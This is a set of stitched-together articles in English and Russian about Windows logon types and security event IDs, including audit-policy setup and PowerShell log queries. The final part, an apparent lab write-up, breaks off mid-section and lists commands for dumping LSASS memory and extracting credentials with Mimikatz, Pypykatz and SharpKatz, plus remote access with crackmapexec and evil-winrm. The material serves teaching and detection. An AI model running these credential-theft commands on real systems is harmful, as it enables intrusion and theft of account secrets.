In my previous post, I explained how to display logon type for logon events in Security log and described meaning of some values. Here I will give you more information about logon types.
The descriptions of some events (4624, 4625) in Security log commonly contain some information about “logon type”, but it is too brief:
The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).
Microsoft provides more detailed description of logon types at https://technet.microsoft.com/en-us/library/cc787567(v=ws.10).aspx (Audit Logon Events).
This topic at the Microsoft site is about logon events auditing for pre-Vista operating systems, but it looks like Logon Type constants are valid for all Windows operating systems.
Therefore, I will copy Microsoft descriptions here and add my own comments.
Logon Type 2: Interactive. A user logged on to this computer.
An event with logon type=2 occurs whenever a user logs on (or attempts to log on) a computer locally, e.g. by typing user name and password on Windows logon prompt. Events with logon type = 2 occur when a user logs on with a local or a domain account. However, if a user logs on with a domain account, this logon type will appear only when a user really authenticated in the domain (by a domain controller). In case if the DC not available, but the user provided valid domain credentials cached in the local PC, Windows will log an event with logon type = 11.
Logon type 3: Network. A user or computer logged on to this computer from the network.
The description of this logon type clearly states that the event logged when somebody accesses a computer from the network. Commonly it appears when connecting to shared resources (shared folders, printers etc.). As we learned in the previous post, the connection with logon type = 3 could be established even from a local computer.
Logon type 4: Batch. Batch logon type is used by batch servers, where processes may be executing on behalf of a user without their direct intervention.
This event type appears when a scheduled task is about to be started. E.g. if you use Windows Task Scheduler and it’s time to start a task, Windows may create a new logon session to execute this task and register logon events (4648, 4624/4625). If a task is scheduled to run only when a “designated” user is logged on, a new logon session won’t be opened and logon events won’t be logged.
Logon type 5: Service. A service was started by the Service Control Manager.
When Windows starts a service which is configured to log on as a user, Windows will create a new logon session for this service. This happens only if the service uses a “common” user account. If it uses special accounts, e.g. “Local System”, “NT AUTHORITY\LocalService” or “NT AUTHORITY\NetworkService”, Windows won’t create new logon sessions. The opened logon session will be closed when the service stops and a logoff event (4634) will be registered.
Note that event description doesn’t contain any information about the service name, process information lists only name of the service control manager (services.exe). When Audit Failure logon event (4625) is registered with logon type = 5, this commonly means that the “designated” user has changed password, and you should update service logon details.
Logon type 7: Unlock. This workstation was unlocked.
An event with logon type = 7 occurs when a user unlocks (or attempts to unlock) a previously locked workstation. Note that when a user unlocks computer, Windows creates a new logon session (or 2 logon sessions depending on the elevation conditions) and immediately closes it (with event 4634). When you are switching between logged on user accounts with Fast User Switching feature, you may think that such switching generates event 4624 with logon type = 7 because it looks like you lock and unlock workstation. However Windows generates events 4624 with logon type = 2 (interactive). When Audit Failure logon event (4625) is registered with logon type = 7, this commonly means that either you made a typo when entering the password, or someone is trying to break into the computer.
Logon type 8: NetworkCleartext. A user logged on to this computer from the network. The user’s password was passed to the authentication package in its unhashed form. The built-in authentication packages all hash credentials before sending them across the network. The credentials do not traverse the network in plaintext (also called cleartext).
I believe that you should never see logon events with logon type = 8. This event is generated when a password comes from the net as a clear text. Such events may occur when a user logs on IIS (Internet Information Services) with basic access authentication method. Transferring passwords in plaintext format is dangerous because the passwords could be sniffed and revealed. So if basic authentication is the only option for you, you should protect your network connection (using encryption protocols like SSL/TLS, creating virtual private network etc.).
Logon type 9: NewCredentials. A caller cloned its current token and specified new credentials for outbound connections. The new logon session has the same local identity, but uses different credentials for other network connections.
This event occurs when using RunAs command with /netonly option. Let’s say you need to run a program, but grant it extra permissions for network computers. E.g. you may want to run Event Log Explorer and give it additional permissions for a specific computer or a domain (this may be helpful e.g. if you want to use a specific computer as a description server in Event Log Explorer, but your current permissions is not enough to access admin resources from this server). In this case you can run Event Log Explorer normally (using your current credentials), but specify special credentials for network connections. Let’s say your computer name is “WORK” and the description server name is “SERVER”. On WORK computer you type:
runas.exe /netonly /user:server\Administrator “c:\program files\event log explorer\elex.exe”
and provide administrator’s password when prompted.
This will run Event Log Explorer even if you provided a wrong password. This happens because it uses a cloned current credentials to run the program (a new logon session will be opened). And logon event 4624 will be logged with logon type = 9 (logoff event will be logged when you quit the application). But what about SERVER? The server will register 4624 or 4625 events in Security log with logon type = 3 but only when the application from WORK computer will try to access a shared resource on the server, e.g. Event Log Explorer will try to open resource file with event descriptions.
Logon type 10: RemoteInteractive. A user logged on to this computer remotely using Terminal Services or Remote Desktop.
This logon type is similar to 2 (Interactive) but a user connects the computer from a remote machine via RDP (using Remote Desktop, Terminal Services or Remote Assistance).
Logon type 11: CachedInteractive. A user logged on to this computer with network credentials that were stored locally on the computer. The domain controller was not contacted to verify the credentials.
When users logon a domain, Windows caches users’ credentials locally so that they can log on later even if a logon server (domain controller) is unavailable. By default Windows caches 10 or 25 last logon credentials (it depends on the operating system and can be increased up to 50). When a user attempts to logon with domain account while DC is not available, Windows checks the user’s credentials with these stored hashes and logs security events 4624 or 4625 with logon type = 11.
Время на прочтение4 мин
Количество просмотров309K
Рэнди Франклин Смит (CISA, SSCP, Security MVP) имеет в своем арсенале очень полезный документ, рассказывающий о том, какие события (event IDs) обязательно должны отслеживаться в рамках обеспечения информационной безопасности Windows. В этом документе изложена крайне полезная информация, которая позволит Вам “выжать” максимум из штатной системы аудита. Мы подготовили перевод этого материала. Заинтересованных приглашаем под кат.
О том, как настроить аудит, мы уже обстоятельно писали в одном из наших постов. Но из всех event id, которые встречаются в журналах событий, необходимо остановить свое внимание на нескольких критических важных. На каких именно – решать каждому. Однако Рэнди Франклин Смит предлагает сосредоточить внимание на 10 важных событиях безопасности в Windows.
Контроллеры доменов
Event ID — (Категория) — Описание
1) 675 или 4771
(Аудит событий входа в систему)
Событие 675/4771 на контроллере домена указывает на неудачную попытку войти через Kerberos на рабочей станции с доменной учетной записью. Обычно причиной этого является несоответствующий пароль, но код ошибки указывает, почему именно аутентификация была неудачной. Таблица кодов ошибок Kerberos приведена ниже.
2) 676, или Failed 672 или 4768
(Аудит событий входа в систему)
Событие 676/4768 логгируется для других типов неудачной аутентификации. Таблица кодов Kerberos приведена ниже.
ВНИМАНИЕ: В Windows 2003 Server событие отказа записывается как 672 вместо 676.
3) 681 или Failed 680 или 4776
(Аудит событий входа в систему)
Событие 681/4776 на контроллере домена указывает на неудачную попытку входа в систему через
NTLM с доменной учетной записью. Код ошибки указывает, почему именно аутентификация была неудачной.
Коды ошибок NTLM приведены ниже.
ВНИМАНИЕ: В Windows 2003 Server событие отказа записывается как 680 вместо 681.
4) 642 или 4738
(Аудит управления учетными записями)
Событие 642/4738 указывает на изменения в указанной учетной записи, такие как сброс пароля или активация деактивированной до этого учетной записи. Описание события уточняется в соответствие с типом изменения.
5) 632 или 4728; 636 или 4732; 660 или 4756
(Аудит управления учетными записями)
Все три события указывают на то, что указанный пользователь был добавлен в определенную группу. Обозначены Глобальная (Global), Локальная (Local) и Общая (Universal) соответственно для каждого ID.
6) 624 или 4720
(Аудит управления учетными записями)
Была создана новая учетная запись пользователя
7) 644 или 4740
(Аудит управления учетными записями)
Учетная запись указанного пользователя была заблокирована после нескольких попыток входа

(Аудит системных событий)
Указанный пользователь очистил журнал безопасности
Вход и выход из системы (Logon/Logoff)
Event Id — Описание
528 или 4624 — Успешный вход в систему
529 или 4625 — Отказ входа в систему – Неизвестное имя пользователя или неверный пароль
530 или 4625 Отказ входа в систему – Вход в систему не был осуществлен в течение обозначенного периода времени
531 или 4625 — Отказ входа в систему – Учетная запись временно деактивирована
532 или 4625 — Отказ входа в систему – Срок использования указанной учетной записи истек
533 или 4625 — Отказ входа в систему – Пользователю не разрешается осуществлять вход в систему на данном компьютере
534 или 4625 или 5461 — Отказ входа в систему – Пользователь не был разрешен запрашиваемый тип входа на данном компьютере
535 или 4625 — Отказ входа в систему – Срок действия пароля указанной учетной записи истек
539 или 4625 — Отказ входа в систему – Учетная запись заблокирована
540 или 4624 — Успешный сетевой вход в систему (Только Windows 2000, XP, 2003)
Типы входов в систему (Logon Types)
Тип входа в систему — Описание
2 — Интерактивный (вход с клавиатуры или экрана системы)
3 — Сетевой (например, подключение к общей папке на этом компьютере из любого места в сети или IIS вход — Никогда не заходил 528 на Windows Server 2000 и выше. См. событие 540)
4 — Пакет (batch) (например, запланированная задача)
5 — Служба (Запуск службы)
7 — Разблокировка (например, необслуживаемая рабочая станция с защищенным паролем скринсейвером)
8 — NetworkCleartext (Вход с полномочиями (credentials), отправленными в виде простого текст. Часто обозначает вход в IIS с “базовой аутентификацией”)
9 — NewCredentials
10 — RemoteInteractive (Терминальные службы, Удаленный рабочий стол или удаленный помощник)
11 — CachedInteractive (вход с кешированными доменными полномочиями, например, вход на рабочую станцию, которая находится не в сети)
Коды отказов Kerberos
Код ошибки — Причина
6 — Имя пользователя не существует
12 — Ограничение рабочей машины; ограничение времени входа в систему
18 — Учетная запись деактивирована, заблокирована или истек срок ее действия
23 — Истек срок действия пароля пользователя
24 — Предварительная аутентификация не удалась; обычно причиной является неверный пароль
32 — Истек срок действия заявки. Это нормальное событие, которое логгируется учетными записями компьютеров
37 — Время на рабочей машины давно не синхронизировалось со временем на контроллере домена
Коды ошибок NTLM
Код ошибки (десятичная система) — Код ошибки (16-ричная система) — Описание
3221225572 — C0000064 — Такого имени пользователя не существует
3221225578 — C000006A — Верное имя пользователя, но неверный пароль
3221226036 — C0000234 — Учетная запись пользователя заблокирована
3221225586 — C0000072 — Учетная запись деактивирована
3221225583 — C000006F — Пользователь пытается войти в систему вне обозначенного периода времени (рабочего времени)
3221225584 — C0000070 — Ограничение рабочей станции
3221225875 — C0000193 — Истек срок действия учетной записи
3221225585 — C0000071 — Истек срок действия пароля
3221226020 — C0000224 — Пользователь должен поменять пароль при следующем входе в систему
Еще раз продублируем ссылку на скачивание документа на сайте Рэнди Франклина Смита www.ultimatewindowssecurity.com/securitylog/quickref/Default.aspx. Нужно будет заполнить небольшую форму, чтобы получить к нему доступ.
P.S. Хотите полностью автоматизировать работу с журналами событий? Попробуйте новую версию NetWrix Event Log Manager 4.0, которая осуществляет сбор и архивирование журналов событий, строит отчеты и генерирует оповещения в режиме реального времени. Программа собирает данные с многочисленных компьютеров сети, предупреждает Вас о критических событиях и централизованно хранит данные обо всех событиях в сжатом формате для удобства анализа архивных данных журналов. Доступна бесплатная версия программы для 10 контроллеров доменов и 100 компьютеров.
Windows Logon Type are logged in the Logon Type field of logon events. They are showing up in the windows security event log and reveal the type of logon that prompted the event.
In an Interactive logon, user enters credentials into the Log On to Windows dialog box or user inserts a smart card into the smart card reader. User’s authentication is then checked against the security database on the user’s local computer or to an Active Directory domain.
Windows Logon Type 2 – Interactive logon
Windows Logon Type 2 is used for a logon at the console of a computer. A type 2 logon is logged when you attempt to log on at a Windows computer’s local keyboard and screen whether with a domain account or a local account from the computer’s local SAM. To tell the difference between an attempt to logon with a local or domain account look for the domain or computer name preceding the user name in the event’s description.
windows logon type 2
Windows Logon Type 3 – Network logon
Windows Logon Type 3 are very common to Windows environment. They are only used after an account authentication such as user, computer, and service has already taken place. For network logon, the process does not use the initial logon dialog box to enter the credentials. Instead, already established credentials for the account are used, or credentials are collected using in a different way. This is typically invisible to the user unless alternate credentials are used. Network logon confirms the users’ identification to the network service such as mapped drive on another server that the user is attempting to access (Microsoft TechNet, 2003). Windows logs logon type 3 for network logons such as accessing shared folders, printers, GPOs, and most logons to IIS.
Windows Logon Type 4 – Batch logon
For a scheduled task execution in Windows, the Scheduled Task service first creates a new logon session for the task so that it can run under the user account specified for that task. Windows logs this logon attempt as logon type 4. Some job scheduling systems or other application, depending on their design, may also generate logon events with logon type 4
Windows Logon Type 5 – Service logon
Windows Logon Type 5 services are configured to run under specified user accounts individually. Starting of a service first creates a logon session for the specified user account which results in a Logon/Logoff event with logon type 5.
Windows Logon Type 7: Unlock
Logon Type 7 occurs when a user returns to the console and unlocks the password protected screen. Windows treats this as a logon and logs the appropriate Logon/Logoff event using logon type 7 identifying the event as an unlock attempt
Windows Logon Type 8
Windows Logon Type 8 is a kind of network logon where the password is sent over the network in the clear text. This is logged as logon type 8.Windows server doesn’t allow connection to shared file or printers with clear text authentication. It is possible with logons from within an ASP script using the ADVAPI or when a user logs on to IIS using IIS’s basic authentication mode. In both cases the logon process in the event’s description will list advapi authentication to authenticate to an IIS server.
Windows Logon Type 9: New credentials-based logon
Using RunAs command to start a program under a different user account with the /netonly switch, Windows records a logon/logoff event with windows logon type 9. When starting a program with RunAs using /netonly, the program executes on the local computer as the user currently logged on as but for any connections to other computers on the network, Windows connects to those computers using the account specified on the RunAs command. Without /netonly Windows runs the program on the local computer and on the network as the specified user and records the logon event with windows logon type 2
Windows Logon Type 10 – Remote Interactive logon
Windows Logon Type 10 is used for RDP-based applications like Terminal Services, Remote Desktop or Remote Assistance.
Windows Logon Type 11 – Cached Interactive logon
Windows Logon Type 11 feature facilitates mobile users that allow caching credentials hashes of the last 10 interactive domain logons by default. When client is off the network or when no domain controller is available, Windows uses these hashes to verify the identity of the logon with a domain account. It is logged with logon type 11
Conclusion
We hope this discussion of logon types and their meanings helps you as you keep watch on your Windows network and try to piece together the different ways users are accessing your computers. Paying attention to logon type is important because different logon types can affect how you interpret logon events from a security perspective.
При расследовании различных инцидентов администратору необходимо получить информацию кто и когда заходил на определенный компьютер Windows. Историю входов пользователя в доменной сети можно получить из журналов контроллеров домена. Но иногда проще получить информацию непосредсвенно из логов компьютера. В этой статье мы покажем, как получить и проанализировать историю входа пользователей на компьютер/сервер Windows. Такая статистика поможет вам ответить на вопрос “Как в Windows проверить кто и когда использовал этот компьютере”.
Содержание:
- Настройка политики аудита входа пользователей в Windows
- Поиск событий входа пользователей в журнале событий Windows
- Анализ событий входа пользователей в Windows с помощью PowerShell
Настройка политики аудита входа пользователей в Windows
Сначала нужно включить политик аудита входа пользователей. На отдельностоящем компьютере для настройки параметров локальной групповой политики используется оснастка gpedit.msc. Если вы хотите включить политику для компьютеров в домене Active Directorty, нужно использовать редактор доменных GPO (
gpmc.msc
).
- Запустите консоль GPMC, создайте новую GPO и назначьте ее на Organizational Units (OU) с компьютерами и / или серверами, для которых вы хотите включить политику аудита событий входа;
- Откройте объект GPO и перейдите в раздел Computer Configuration -> Policies -> Windows Settings -> Security Settings –> Advanced Audit Policy Configuration -> Audit Policies -> Logon/Logoff;
- Включите две политики аудита Audit Logon и Audit Logoff. Это позволит отслеживать как события входа, так и события выхода пользователей. Если вы хотите отслеживать только успешные события входа, включите в настройках политик только опцию Success;
- Закройте редактор GPO и обновите настройки политик на клиентах.
Поиск событий входа пользователей в журнале событий Windows
После того как вы включили политики аудита входа, при каждом входе пользователя в Windows в журнале Event Viewer будет появляться запись о входе. Посмотрим, как она выглядит.
- Откройте оснастку Event Viewer (
eventvwr.msc
); - Разверните секцию Windows Logs и выберите журнал Security;
- Щелкните по нему правой клавишей и выберите пункт Filter Current Log;
- В поле укажите ID события 4624 и нажмите OK;
- В окне события останутся только события входа пользователей, системных служб с описанием
An account was successfully logged on
; - В описании события указано имя и домен пользователя, вошедшего в систему:
New Logon: Security ID: WINITPRO\a.khramov Account Name: a.khramov Account Domain: WINITPRO
Ниже перечислены другие полезные EventID:
| Event ID | Описание |
| 4624 | A successful account logon event |
| 4625 | An account failed to log on |
| 4648 | A logon was attempted using explicit credentials |
| 4634 | An account was logged off |
| 4647 | User initiated logoff |
Если полистать журнал событий, можно заметить, что в нем присутствуют не только события входа пользователей на компьютер. Здесь также будут события сетевого доступа к этому компьютеру (при открытии по сети общих файлов или печати на сетевых принтерах), запуске различных служб и заданий планировщика и т.д. Т.е. очень много лишний событий, которые не относятся ко входу локального пользователя. Чтобы выбрать только события интерактивного входа пользователя на консоль компьютера, нужно дополнительно сделать выборку по значению параметра Logon Type. В таблице ниже перечислены коды Logon Type.
| Код Logon Type | Описание |
|---|---|
| 0 | System |
| 2 | Interactive |
| 3 | Network |
| 4 | Batch |
| 5 | Service |
| 6 | Proxy |
| 7 | Unlock |
| 8 | NetworkCleartext |
| 9 | NewCredentials |
| 10 | RemoteInteractive |
| 11 | CachedInteractive |
| 12 | CachedRemoteInteractive |
| 13 | CachedUnlock |
При удаленном подключении к рабочему столу компьютера по RDP, в журнале событий появится записи с Logon Type 10 или 3. Подробнее об анализе RDP логов в Windows.
В соответствии с этой таблицей событие локального входа пользователя на компьютер должно содержать Logon Type: 2.
Для фильтрации события входа по содержать Logon Type лучше использовать PowerShell.
Анализ событий входа пользователей в Windows с помощью PowerShell
Допустим, наша задача получить информацию о том, какие пользователи входили на этот компьютер за последнее время. Нам интересует именно события интерактивного входа (через консоль) с
LogonType =2
. Для выбора события из журналов Event Viewer мы воспользуемся командлетом Get-WinEvent.
Следующий PowerShell скрипт выведет история входа пользователей на текущий компьютер и представит ее в виде графической таблицы Out-GridView.
$query = @'
<QueryList>
<Query Id='0' Path='Security'>
<Select Path='Security'>
*[System[EventID='4624']
and(
EventData[Data[@Name='VirtualAccount']='%%1843']
and
EventData[Data[@Name='LogonType']='2']
)
]
</Select>
</Query>
</QueryList>
'@
$properties = @(
@{n='User';e={$_.Properties[5].Value}},
@{n='Domain';e={$_.Properties[6].Value}},
@{n='TimeStamp';e={$_.TimeCreated}}
@{n='LogonType';e={$_.Properties[8].Value}}
)
Get-WinEvent -FilterXml $query | Select-Object $properties|Out-GridView
Если нужно выбрать события входа за последние несколько дней, можно добавить pipe с таким условием:
|Where-Object {$_.TimeStamp -gt '5/10/22'}
Командлет Get-WinEvent позволяет получить информацию с удаленных компьютеров. Например, чтобы получить историю входов с двух компьютеров, выполните следующий скрипт:
'msk-comp1', 'msk-comp2' |
ForEach-Object {
Get-WinEvent -ComputerName $_ -FilterXml $query | Select-Object $properties
}
Если протокол RPC закрыт между компьютерами, вы можете получить данные с удаленных компьютеров с помощью PowerShell Remoting командлета Invoke-Command:
Invoke-Command -ComputerName 'msk-comp1', 'msk-comp2' {Get-WinEvent -FilterXml $query | Select-Object $properties}
Hello All,
In this blog post we will explore and learn about various Windows Logon Types and understand how are these logon type events are generated. We will also see if we can extract credentials from individual logon types. We will be using our Active Directory Attack Defense Lab for all the demos.
Table of Contents:
What is logon ?
In simple words logon is a process of gaining access to local or remote systems using valid credentials. The user information is validated by Local Security Authority (LSA), incase of local account it will verify the information from Security Accounts Manager (SAM) database and incase of domain account it will verify the information from the Domain Controller.
We can read this thread from Steve Syfuhs to understand more about how the logon process works in background.
What is LSA ?
As per Microsoft docs «The Local Security Authority (LSA) is a protected system process that authenticates and logs users on to the local computer. In addition, LSA maintains information about all aspects of local security on a computer (these aspects are collectively known as the local security policy), and it provides various services for translation between names and security identifiers (SIDs).»
Now, let’s see how we can enable the logon events and view the logon events in Windows.
Enable Logon Events
To capture the logon events we need to enable the «Audit Logon» setting from the Group Policy. Follow the below steps to enable the logs via Group Policy.
Domain Environment
1) Login to Domain Controller
2) Open Group Policy Management Console
3) Expand the Domain Object
4) Expand the Group Policy Objects
5) Right click on the Default Domain Policy and click on Edit (The policy that is applied to all the domain computers. It may differ in your environment)
6) Follow the below path to enable Audit Logon events.
Computer Configuration —> Windows Settings —> Security Settings —> Advanced Audit Policy Configuration —> Audit Policies —> Logon/Logoff —> Audit Logon
7) Select «Configure the following audit events:», «Success» & «Failure» Checkbox
Local Machine
1) Open Local Group Policy Editor
2) Follow the below path to enable Audit Logon events.
Computer Configuration —> Windows Settings —> Security Settings —> Advanced Audit Policy Configuration —> System Audit Policies — Local Group Policy Object —> Logon/Logoff —> Audit Logon
3) Select «Configure the following audit events:», «Success» & «Failure» Checkbox
In Windows we can use Event Viewer for viewing the events that are generated by various applications/processes etc. The logon events are considered as security event hence those are stored in «%SystemRoot%\System32\Winevt\Logs\Security.evtx» file. To view the events we can follow the below mentioned steps:
1) Right click on the Start button
2) Click on the Event Viewer
3) Expand the Windows Logs section
4) Click on Security
We can view all the Security Events on the right side. We can also filter the events using «Filter current log…» button from the Actions section.
Before jumping on the Windows Logon Types section, let’s first discuss about various ways to dump the LSASS process memory. We can use this for extracting the credentials offline.
Note: If you are aware of the process of dumping LSASS process memory then you can script this section.
What is LSASS ?
As per Microsoft docs «The Local Security Authority Subsystem Service (LSASS) stores credentials in memory on behalf of users with active Windows sessions. The stored credentials let users seamlessly access network resources, such as file shares, Exchange Server mailboxes, and SharePoint sites, without re-entering their credentials for each remote service.»
Dump LSASS process memory
There are multiple methods available to dump the LSASS process memory. We will cover few well known techniques as listed below. There are plenty of other methods that can be used to dump LSASS memory.
Note: We need administrator privileges to dump the LSASS process memory.
1) Using Task Manager
2) Using Procdump
3) Using COMSVCS.dll
4) Using WindowsAPIs / Syscalls
Using Task Manager
This is most simplest method to dump the LSASS process memory if we have GUI access on the machine. We can follow the below mentioned steps:
1) Right click on the Task Bar and click on Task Manager
2) 3) Click on More details
4) Search for «Local Security Authority Process» process in the Processes tab
5) Right click on «Local Security Authority Process» process and click on «Create dump file».
The dump file is stored in the temp folder on the machine. In our case the file is stored at «C:\Users\STUDEN~1\AppData\Local\Temp» location.
Using Procdump
Procdump is a Microsoft signed binary which is a part of sysinternals suite. It is a command line utility used for monitoring CPU spikes for applications and for dumping running process memory.
We can download the Procdump file from Microsoft site . The file will be downloaded in the ZIP format. We can extract the file and follow the below mentioned steps to dump the LSASS process memory:
1) Start PowerShell / CMD with Administrators privileges.
3) Find the process id of the LSASS process.
We can use the Process Name or Process ID while dumping the LSASS process memory using Procdump. Procdump internally leverages MiniDumpWriteDump Windows API to dump the process memory.
.\procdump.exe -ma lsass.exe lsass.dmp
Get-Process -Name LSASS
.\procdump.exe -ma 608 lsass.dmp
Using COMSVCS.dll
Dynamic Link Library (DLL) is a file which contains the code and it can be loaded by the program to perform one or more actions during the run time. COMSVCS.dll is a Microsoft signed DLL that is present on the windows system. It contains an exported function MiniDumpW that internally leverages MiniDumpWriteDump Windows API. To successfully dump the LSASS process memory we need to pass 3 arguments
1) Process ID — Specify LSASS process id.
2) File path — Specify the path where we want to save the dump file.
3) DumpType — Specify the dump type in our case we will use full
We can follow the below mentioned step to dump the LSASS process memory using COMSVCS.dll:
1) Start PowerShell / CMD with Administrators privileges.
2) Find the process id of the LSASS process.
3) Use rundll32 to execute COMSVCS.dll file
Get-Process -Name LSASS
rundll32.exe comsvcs.dll, MiniDump 608 C:\Users\student66\Desktop\lsass.dmp full
Note: We can find more details about this technique on Modexp blog.
Using WindowsAPIs / Syscalls
We can create our custom tool/script that will leverage WindowsAPIs or Syscalls for dumping the process memory. There are multiple such tools that are already present online such as mentioned below. This will be an exercise for the readers to use different tools for dumping the LSASS process memory using custom tool.
Extract Credentials Offline (On the attacker machine instead of the target machine)
We can use tools such as Mimikatz and Pypykatz to parse the dump file offline (On the attacker machine instead of the target machine) and extract the credentials.
Using Mimikatz
We can use the below mentioned Mimikatz commands to parse the minidump file and extract the credentials.
privilege::debug
sekurlsa::minidump C:\Users\student66\Desktop\lsass.dmp
sekurlsa::ekeys
Using Pypykatz
We can use the below mentioned Pypykatz commands to parse the minidump file and extract the credentials.
pypykatz.exe lsa minidump C:\Users\student66\Desktop\lsass.dmp
How many types of logon are there? / Overview of Windows Logon Types
Now, let’s learn about various Windows Logon Types and understand how are these logon type events are generated. We will also see if we can extract credentials from individual logon types.
Logon Type 2 : Interactive
Logon Type 2 event is generated when a user logon at the console of a machine.
Once we logon to the machine using Console, we can see in the below screenshot that the Logon Type 2 event gets generated.
Now, let’s see if we can extract the credentials from the memory.
In this post we will leverage 3 tools for credentials extraction.
1) Mimikatz — It is a tool written in C. It is one of the most common tools used for extracting credentials from the Windows system. (Note: We can also use Mimikatz PowerShell script.)
2) Pypykatz — It is a tool written in python that can also help us in extracting credentials from the system.
3) Sharpkatz — It is a tool written in C# for extracting credentials from the Windows system. (Note: We need to build the source code using visual studio or any other utility that can be used to build C# project.)
Using Mimikatz
We can use the below mentioned Mimikatz commands for extracting the credentials.
privilege::debug
sekurlsa::ekeys
Using Pypykatz
We can use the below mentioned Pypykatz commands for extracting the credentials.
Using Sharpkatz
We can use the below mentioned Sharpkatz commands for extracting the credentials.
SharpKatz.exe --Command ekeys
Logon Type 3 : Network
Logon Type 3 event is generated when a user logon at the machine over the network. Commonly for accessing shared resources. For example when we access a shared folder, connects to the machine via WinRM (Windows Remote Management protocol), PSRemoting (PowerShell Remoting) or using WMI (Windows Management Instrumentation) etc.
Accessing Shared Files/Folders
As per Microsoft docs «The Server Message Block (SMB) Protocol is a network file sharing protocol, and as implemented in Microsoft Windows is known as Microsoft SMB Protocol. The set of message packets that defines a particular version of the protocol is called a dialect. The Common Internet File System (CIFS) Protocol is a dialect of SMB. Both SMB and CIFS are also available on VMS, several versions of Unix, and other operating systems.»
So when we connect to the SMB share it will generate Logon Type 3 event. We can see the same in the below screenshot wherein we are leveraging smbclient utility to list all the shared files/folders that are accessible to the student66 user on the remote machine.
smbclient -L 172.16.100.66 -U 'student66' -W dcorp
Once we access the shared folder using SMBClient, we can see in the below screenshot that the Logon Type 3 event gets generated.
Accessing the Machine using WinRM
As per Microsoft docs «Windows Remote Management is one component of the Windows Hardware Management features that manage server hardware locally and remotely. These features include a service that implements the WS-Management protocol, hardware diagnosis and control through baseboard management controllers (BMCs), and a COM API and scripting objects that allow you to write applications that communicate remotely through the WS-Management protocol.»
To access the machine using WinRM we will leverage crackmapexec & Evil-WinRM tool.
Crackmapexec tool is written in python3 for post exploitation. We can download Crackmapexec tool from the GitHub repo
crackmapexec winrm 172.16.100.66 -u student66 -p Esxxxxxxx -d dollarcorp.moneycorp.local -x whoami
The above command will execute the whoami command by leveraging the Crackmapexec tool on the remote machine using Student66 user credentials. It will also generate the Logon Type 3 event. We can see the same in the below screenshot.
Evil-WinRM tool is written in ruby for post exploitation. We can download the Evil-WinRM tool from GitHub repo.
evil-winrm -i 172.16.100.66 -u 'dcorp\student66' -p 'Esxxxxxxxx'
We can see in the above screenshot that we have successfully gained access to the remote machine using Student66 user. It will also generate the Logon Type 3 event. We can see the same in the below screenshot.
Accessing the Machine using WMI
As per Microsoft docs «Windows Management Instrumentation (WMI) is the Microsoft implementation of Web-Based Enterprise Management (WBEM), which is an industry initiative to develop a standard technology for accessing management information in an enterprise environment. WMI uses the Common Information Model (CIM) industry standard to represent systems, applications, networks, devices, and other managed components. CIM is developed and maintained by the Distributed Management Task Force.»
So let’s use WMI to list the process of the remote machine.
$password = ConvertTo-SecureString "Esxxxxxxxxx" -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential ("dcorp\student66", $password)
Get-WmiObject -Class Win32_Process -Credential $Cred -ComputerName 172.16.100.66
We can see in the above screenshot that we have successfully listed the running process of the remote machine using the Student66 user’s credential. It will also generate the Logon Type 3 event. We can see the same in the below screenshot.
Accessing the Machine using PSRemoting
As per Microsoft docs «Using the WS-Management protocol, Windows PowerShell remoting lets you run any Windows PowerShell command on one or more remote computers. You can establish persistent connections, start interactive sessions, and run scripts on remote computers.»
We will use PSRemoting to gain access to the remote machine and execute a command.
$password = ConvertTo-SecureString "Esxxxxxxx" -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential ("dcorp\student66", $password)
Enter-PSSession -ComputerName 172.16.100.66 -Credential $Cred
We can see in the above screenshot that we have successfully gained access to the remote machine using Student66 user. It will also generate the Logon Type 3 log. We can see the same in the below screenshot.
We couldn’t extract the credentials for Logon Type 3 while trying with Mimikatz, Pypykatz, and Sharpkatz.
Logon Type 4 : Batch
Logon Type 4 event is generated when a schedule task is executed with a specific user. For example a user «lowpriv» schedules a backup and runs that backup as an «admin» user. For scheduling a task we will use the built-in Windows Task Scheduler.
Steps for creating a scheduled task in Windows.
1) Open Task Scheduler
2) Right click on the “Task Scheduler Library” and click on Create Task option.
3) Follow the menu and create a scheduled task to run «cmd.exe» for demo.
Once we create the task right-click on it and click on properties. Select the “Run whether the user is logged on or not» option and provide the user credentials. In our case, we are using an Administrator user. (The same can be done while creating the scheduled task.
As soon as the task is created it will generate a Logon Type 4 event. We can see the same in the below screenshot.
Now, let’s see if we can extract the credentials from the memory.
Using Mimikatz
We can use the below mentioned Mimikatz commands for extracting the credentials.
privilege::debug
sekurlsa::ekeys
We can also extract cleartext credentials from Task Scheduler by reading the credentials from the Vault using Mimikatz. We need SYSTEM privileges to extract the cleartext credentials.
privilege::debug
token::elevate
vault::cred /patch
Using Pypykatz
We can use the below mentioned Pypykatz commands for extracting the credentials.
Using Sharpkatz
We can use the below mentioned Sharpkatz commands for extracting the credentials.
SharpKatz.exe --Command ekeys
Logon Type 5 : Service
Logon Type 5 event is generated when a service is started with a specific user. We can configure a service to run as a specific user wherein windows will create a new logon session for the service. The new logon session is not created if it is executed with «Local System», «NT AUTHORITY|LocalService» or «NT AUTHORITY\NetworkService» users.
We can follow the below mentioned steps to configure a service to run as a specific user:
1) Open Services.msc.
2) Select a service that we want to modify.
3) Right click and click on properties.
4) Go to the «Log On» tab.
5) Select “This account” radio button and click on «Browse…» button and add an account by which the service will run.
6) Enter the password in «Password» & «Confirm Password» field.
7) Click on «Apply» and the «OK».

For our demo we will modify «SNMP Trap» service as seen in the below screenshot.
Once we restart the service Logon Type 5 event is generated. We can see the same in the below screenshot.
Using Mimikatz
We can use the below mentioned Mimikatz commands for extracting the credentials.
privilege::debug
sekurlsa::ekeys
We can also extract cleartext credentials from services by dumping LSA Secrets using Mimikatz. LSA Secrets stores secrets like service account passwords, SYSTEM account password and other important secrets. We can only extract this secrets by SYSTEM privileges so first we will elevate our privileges and then extract the credentials .
privilege::debug
token::elevate
lsadump::secrets
Using Pypykatz
We can use the below mentioned Pypykatz commands for extracting the credentials.
Using Sharpkatz
We can use the below mentioned Sharpkatz commands for extracting the credentials.
SharpKatz.exe --Command ekeys
Logon Type 7 : Unlock
Logon Type 7 event is generated when a user tries to unlock a locked machine. For example, let’s assume that we need to go somewhere for few minutes so as a best practice we shall always lock our machine. Once we return we will unlock our machine and start using it again. This will generate a Logon Type 7 event as we can see the same in the below screenshot.
Logon Type 8 : NetworkClearText
